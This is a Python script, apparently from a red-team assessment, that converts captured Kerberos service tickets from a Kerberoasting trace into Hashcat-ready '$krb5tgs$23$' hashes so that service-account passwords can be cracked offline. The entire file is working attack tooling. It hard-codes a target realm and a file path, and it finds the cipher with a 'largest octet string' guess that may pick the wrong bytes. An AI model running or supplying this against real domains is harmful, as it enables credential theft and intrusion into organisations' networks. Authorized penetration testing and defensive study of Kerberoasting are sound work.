#!/usr/bin/env python3
"""Parse kerberoast_trace.txt TGS-OK hex tickets -> Hashcat $krb5tgs$23$ lines.

RC4 TGS-REP structure (APREQDER stripped): the ticket bytes we captured are the
full Kerberos TGS blob from KerberosRequestorSecurityToken.GetRequest(). We
locate the rc4-hmac (etype 23) encrypted-data and emit the Hashcat format:
  $krb5tgs$23$*<user>$<realm>$<spn>*$<checksum(16B hex)>$<edata2(rest hex)>
Approach: minimal DER walk to find the enc-part cipher, matching impacket's
GetUserSPNs output format so hashcat -m 13100 accepts it.
Input: kerberoast_trace.txt (TGS-OK:<spn>:len=<n>:<hex>). User is resolved from
the SPN-USER mapping where possible, else left as the SPN service part.
"""
import re, sys
from pathlib import Path

D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
TRACE = D / 'kerberoast_trace.txt'
OUT = D / 'kerberoast_hashes.txt'
REALM = 'STAR.MG'

def der_len(b, i):
    first = b[i]; i += 1
    if first < 0x80: return first, i
    n = first & 0x7f
    val = int.from_bytes(b[i:i+n], 'big'); return val, i + n

def find_cipher(hexstr):
    """Walk the TGS blob to the rc4 enc-part octet string. Returns (checksum_hex, edata2_hex)."""
    data = bytes.fromhex(hexstr)
    # The blob from GetRequest() is a KRB_CRED or AP-REP-ish structure; the rc4
    # cipher is an OCTET STRING whose length ~= (len - ~30). Heuristic: find the
    # largest OCTET STRING (tag 0x04) — that is the enc-part cipher.
    best = None
    i = 0
    while i < len(data) - 1:
        if data[i] == 0x04:
            try:
                ln, ni = der_len(data, i + 1)
                if ln > 24 and ni + ln <= len(data):
                    if best is None or ln > best[0]:
                        best = (ln, ni)
            except Exception:
                pass
            i += 1
        else:
            i += 1
    if not best:
        return None
    ln, ni = best
    cipher = data[ni:ni+ln]
    return cipher[:16].hex(), cipher[16:].hex()

def main():
    text = TRACE.read_text(errors='ignore')
    # SPN-USER: <user> | <spn>
    spn2user = {}
    for m in re.finditer(r'SPN-USER:\s*(\S+)\s*\|\s*(\S+)', text):
        spn2user[m.group(2).lower()] = m.group(1)
    # TGS-OK:<spn>:len=<n>:<hex>
    lines = []
    seen = set()
    n_ok = n_fail = 0
    for m in re.finditer(r'TGS-OK:([^:]+):len=(\d+):([0-9A-Fa-f]+)', text):
        spn, ln, hx = m.group(1), int(m.group(2)), m.group(3)
        key = (spn.lower(), hx[:32])
        if key in seen:
            continue
        seen.add(key)
        # resolve user: match spn (with/without realm/host:port) to SPN-USER map
        user = None
        for k, u in spn2user.items():
            # match on service/hostname portion
            svc_host = spn.lower().split(':')[0]
            if svc_host in k or k in svc_host:
                user = u; break
        if user is None:
            user = spn.split('/')[0]
        r = find_cipher(hx)
        if not r:
            n_fail += 1; continue
        checksum, edata2 = r
        lines.append(f'$krb5tgs$23$*{user}${REALM}${spn}*${checksum}${edata2}')
        n_ok += 1
    OUT.write_text('\n'.join(lines) + '\n')
    print(f'parsed {n_ok} unique RC4 TGS -> {OUT} ({n_fail} failed)')
    # summary by user
    from collections import Counter
    c = Counter(l.split('$*')[1].split('$')[0] for l in lines)
    for u, n in c.most_common():
        print(f'  {u}: {n} tickets')

if __name__ == '__main__':
    main()
